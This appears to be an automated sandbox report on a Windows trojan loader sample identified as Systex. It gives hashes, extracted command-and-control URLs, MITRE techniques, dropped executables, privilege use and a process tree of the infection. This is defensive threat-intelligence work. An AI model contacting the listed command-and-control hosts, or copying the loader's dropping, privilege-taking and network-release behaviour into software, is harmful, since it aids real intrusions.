systex | 36f907d1c5ec06336effac08aee6064c1b714e97b576d634ccecf6fd49ce8d49

Analysis

max time kernel
149s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/07/2026, 09:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Size 376KB
Sample260705-ldj5fae14q
SHA256 36f907d1c5ec06336effac08aee6064c1b714e97b576d634ccecf6fd49ce8d49
MD5 167dd27397872f62d02db925e48f3077
SHA1 0e2e6a2e9040075d3ea881e8fc839d8321eb023b
SHA512 e848f035570cbcf4469cd0d4f286acea08e0d83b0f8372fd84f1b28e8d6cbc0cbd97c4eaddc335827a21a92c2f8c21c24c048f04bac30f0431289c9ae8f5cb88
SSDEEP 3072:XFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:XFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1DA847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
5796	ezwrpjhbzurmjecw.exe
3908	ezwrpjhbzurmjecw.sys
4696	CreateProcess.exe
4440	hbzuomkexo.exe
4452	CreateProcess.exe
3640	CreateProcess.exe
572	i_hbzuomkexo.exe
5176	hezwrojhbz.sys
7016	CreateProcess.exe
1340	ztrljebwur.exe
1284	CreateProcess.exe
1028	CreateProcess.exe
6860	i_ztrljebwur.exe
3208	ljdbwtolge.sys
2884	CreateProcess.exe
2424	bytrljdbwt.exe
2448	CreateProcess.exe
6824	CreateProcess.exe
4432	i_bytrljdbwt.exe
2996	dqoigaysql.sys
5436	CreateProcess.exe
3740	igdyvqlidb.exe
628	CreateProcess.exe
4820	CreateProcess.exe
5696	i_igdyvqlidb.exe
2408	ifdyvqoiga.sys
3012	CreateProcess.exe
1064	qkicayskid.exe
5148	CreateProcess.exe
5612	CreateProcess.exe
4288	i_qkicayskid.exe
6048	snkfdxvpnh.sys
7108	CreateProcess.exe
5944	icaysqkica.exe
4612	CreateProcess.exe
4424	CreateProcess.exe
5124	i_icaysqkica.exe
2560	fdxvpnhfax.sys
3952	CreateProcess.exe
3408	usmkfcxupn.exe
6424	CreateProcess.exe
6588	CreateProcess.exe
4300	i_usmkfcxupn.exe
4264	usmkecwupj.sys
3096	CreateProcess.exe
6752	khczusmkec.exe
2136	CreateProcess.exe
3040	CreateProcess.exe
256	i_khczusmkec.exe
2848	rpjhczurmk.sys
5064	CreateProcess.exe
2088	zwrojhbztr.exe
2440	CreateProcess.exe
1852	CreateProcess.exe
4196	i_zwrojhbztr.exe
2024	hbztrmjecw.sys
4836	CreateProcess.exe
3020	wromgeywro.exe
7000	CreateProcess.exe
1804	CreateProcess.exe
6812	i_wromgeywro.exe
4564	qoigbytrlj.sys
2576	CreateProcess.exe
3524	jdbwtomgey.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3064_1774262768\kp_pinslist.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3064_1774262768\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3064_1774262768\ct_config.pb	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3064_102002226\data.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3064_102002226\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3064_862980123\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3064_862980123\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3064_1774262768\crs.pb	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ezwrpjhbzurmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbzuomkexo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igdyvqlidb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igdyvqlidb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icaysqkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_icaysqkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkfcxupn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zwrojhbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxvqnigays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	khczusmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxvqnigays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_caysqkicav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smkfcxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hecxupnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hecxupnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkicayskid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zwrojhbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhbzurpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oljebwtomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbzuomkexo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bytrljdbwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wromgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tqljdbvtol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smkfcxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ztrljebwur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wromgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbwtomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhbzurpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkicayskid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_khczusmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbwtomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhbztrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhbztrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkfcxupn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tqljdbvtol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztrljebwur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bytrljdbwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	caysqkicav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oljebwtomg.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4552	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4912	ipconfig.exe
6276	ipconfig.exe
3044	ipconfig.exe
2620	ipconfig.exe
2292	ipconfig.exe
6408	ipconfig.exe
7048	ipconfig.exe
4572	ipconfig.exe
6128	ipconfig.exe
2480	ipconfig.exe
1432	ipconfig.exe
6956	ipconfig.exe
1892	ipconfig.exe
4876	ipconfig.exe
5732	ipconfig.exe
3380	ipconfig.exe
3668	ipconfig.exe
2740	ipconfig.exe
1544	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-759331733-200834466-1207319849-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-759331733-200834466-1207319849-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-759331733-200834466-1207319849-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134277171139166340"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-759331733-200834466-1207319849-1000\{A2090B85-D4CD-46F7-B66E-EC8C32CB7571}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
5796	ezwrpjhbzurmjecw.exe
5796	ezwrpjhbzurmjecw.exe
5796	ezwrpjhbzurmjecw.exe
5796	ezwrpjhbzurmjecw.exe
5796	ezwrpjhbzurmjecw.exe
5796	ezwrpjhbzurmjecw.exe
5796	ezwrpjhbzurmjecw.exe
5796	ezwrpjhbzurmjecw.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
3064	msedge.exe
3064	msedge.exe
3064	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	572	i_hbzuomkexo.exe
Token: SeDebugPrivilege	6860	i_ztrljebwur.exe
Token: SeDebugPrivilege	4432	i_bytrljdbwt.exe
Token: SeDebugPrivilege	5696	i_igdyvqlidb.exe
Token: SeDebugPrivilege	4288	i_qkicayskid.exe
Token: SeDebugPrivilege	5124	i_icaysqkica.exe
Token: SeDebugPrivilege	4300	i_usmkfcxupn.exe
Token: SeDebugPrivilege	256	i_khczusmkec.exe
Token: SeDebugPrivilege	4196	i_zwrojhbztr.exe
Token: SeDebugPrivilege	6812	i_wromgeywro.exe
Token: SeDebugPrivilege	5716	i_jdbwtomgey.exe
Token: SeDebugPrivilege	6196	i_tqljdbvtol.exe
Token: SeDebugPrivilege	4840	i_dxvqnigays.exe
Token: SeDebugPrivilege	6276	i_caysqkicav.exe
Token: SeDebugPrivilege	1892	i_smkfcxvpnh.exe
Token: SeDebugPrivilege	4196	i_hecxupnhfz.exe
Token: SeDebugPrivilege	2552	i_rpjhbzurpj.exe
Token: SeDebugPrivilege	2052	i_pjhbztrmje.exe
Token: SeDebugPrivilege	6048	i_oljebwtomg.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3064	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6036 wrote to memory of 5796	6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 6036 wrote to memory of 5968	6036	2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 5968 wrote to memory of 3064	5968	iexplore.exe	91
PID 3064 wrote to memory of 1356	3064	msedge.exe	92
PID 3064 wrote to memory of 3852	3064	msedge.exe	93
PID 3064 wrote to memory of 4552	3064	msedge.exe	95
PID 3064 wrote to memory of 3852	3064	msedge.exe	93
PID 3064 wrote to memory of 3852	3064	msedge.exe	93
PID 3064 wrote to memory of 4176	3064	msedge.exe	96
PID 3064 wrote to memory of 4176	3064	msedge.exe	96
PID 3064 wrote to memory of 5784	3064	msedge.exe	97
PID 3064 wrote to memory of 1264	3064	msedge.exe	98
PID 3064 wrote to memory of 5784	3064	msedge.exe	97
PID 3064 wrote to memory of 5784	3064	msedge.exe	97
PID 3064 wrote to memory of 1264	3064	msedge.exe	98
PID 3064 wrote to memory of 1264	3064	msedge.exe	98
PID 5796 wrote to memory of 4696	5796	ezwrpjhbzurmjecw.exe	101
PID 4440 wrote to memory of 4452	4440	hbzuomkexo.exe	104
PID 5796 wrote to memory of 3640	5796	ezwrpjhbzurmjecw.exe	107
PID 3064 wrote to memory of 6900	3064	msedge.exe	109
PID 3064 wrote to memory of 4888	3064	msedge.exe	110
PID 3064 wrote to memory of 6900	3064	msedge.exe	109
PID 3064 wrote to memory of 4888	3064	msedge.exe	110
PID 3064 wrote to memory of 5668	3064	msedge.exe	112
PID 5796 wrote to memory of 7016	5796	ezwrpjhbzurmjecw.exe	117
PID 1340 wrote to memory of 1284	1340	ztrljebwur.exe	119
PID 5796 wrote to memory of 1028	5796	ezwrpjhbzurmjecw.exe	122
PID 5796 wrote to memory of 2884	5796	ezwrpjhbzurmjecw.exe	126
PID 2424 wrote to memory of 2448	2424	bytrljdbwt.exe	128
PID 5796 wrote to memory of 6824	5796	ezwrpjhbzurmjecw.exe	131
PID 5796 wrote to memory of 5436	5796	ezwrpjhbzurmjecw.exe	136
PID 3740 wrote to memory of 628	3740	igdyvqlidb.exe	138
PID 5796 wrote to memory of 4820	5796	ezwrpjhbzurmjecw.exe	141
PID 3064 wrote to memory of 5844	3064	msedge.exe	143
PID 3064 wrote to memory of 7044	3064	msedge.exe	144
PID 3064 wrote to memory of 3572	3064	msedge.exe	145
PID 5796 wrote to memory of 3012	5796	ezwrpjhbzurmjecw.exe	148
PID 1064 wrote to memory of 5148	1064	qkicayskid.exe	150
PID 5796 wrote to memory of 5612	5796	ezwrpjhbzurmjecw.exe	153
PID 5796 wrote to memory of 7108	5796	ezwrpjhbzurmjecw.exe	157
PID 5944 wrote to memory of 4612	5944	icaysqkica.exe	159
PID 5796 wrote to memory of 4424	5796	ezwrpjhbzurmjecw.exe	162
PID 5796 wrote to memory of 3952	5796	ezwrpjhbzurmjecw.exe	166
PID 3408 wrote to memory of 6424	3408	usmkfcxupn.exe	168
PID 5796 wrote to memory of 6588	5796	ezwrpjhbzurmjecw.exe	171
PID 5796 wrote to memory of 3096	5796	ezwrpjhbzurmjecw.exe	175
PID 6752 wrote to memory of 2136	6752	khczusmkec.exe	177
PID 5796 wrote to memory of 3040	5796	ezwrpjhbzurmjecw.exe	180
PID 3064 wrote to memory of 2128	3064	msedge.exe	182
PID 3064 wrote to memory of 2128	3064	msedge.exe	182
PID 5796 wrote to memory of 5064	5796	ezwrpjhbzurmjecw.exe	187
PID 2088 wrote to memory of 2440	2088	zwrojhbztr.exe	189
PID 5796 wrote to memory of 1852	5796	ezwrpjhbzurmjecw.exe	192
PID 5796 wrote to memory of 4836	5796	ezwrpjhbzurmjecw.exe	196
PID 3020 wrote to memory of 7000	3020	wromgeywro.exe	198
PID 5796 wrote to memory of 1804	5796	ezwrpjhbzurmjecw.exe	201
PID 3064 wrote to memory of 2600	3064	msedge.exe	205
PID 3064 wrote to memory of 2600	3064	msedge.exe	205
PID 5796 wrote to memory of 2576	5796	ezwrpjhbzurmjecw.exe	206
PID 3524 wrote to memory of 6692	3524	jdbwtomgey.exe	208
PID 5796 wrote to memory of 3992	5796	ezwrpjhbzurmjecw.exe	211
PID 5796 wrote to memory of 6092	5796	ezwrpjhbzurmjecw.exe	215
PID 4560 wrote to memory of 1276	4560	tqljdbvtol.exe	217
PID 5796 wrote to memory of 6296	5796	ezwrpjhbzurmjecw.exe	220

C:\Users\Admin\AppData\Local\Temp\2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-05_167dd27397872f62d02db925e48f3077_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6036
- C:\Temp\ezwrpjhbzurmjecw.exe
  C:\Temp\ezwrpjhbzurmjecw.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5796
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hbzuomkexo.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4696
  - - C:\Temp\hbzuomkexo.exe
      C:\Temp\hbzuomkexo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4440
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4452
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4912
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hbzuomkexo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3640
  - - C:\Temp\i_hbzuomkexo.exe
      C:\Temp\i_hbzuomkexo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:572
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ztrljebwur.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:7016
  - - C:\Temp\ztrljebwur.exe
      C:\Temp\ztrljebwur.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1340
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1284
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6408
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ztrljebwur.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1028
  - - C:\Temp\i_ztrljebwur.exe
      C:\Temp\i_ztrljebwur.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6860
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bytrljdbwt.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2884
  - - C:\Temp\bytrljdbwt.exe
      C:\Temp\bytrljdbwt.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2424
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2448
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1432
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bytrljdbwt.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:6824
  - - C:\Temp\i_bytrljdbwt.exe
      C:\Temp\i_bytrljdbwt.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4432
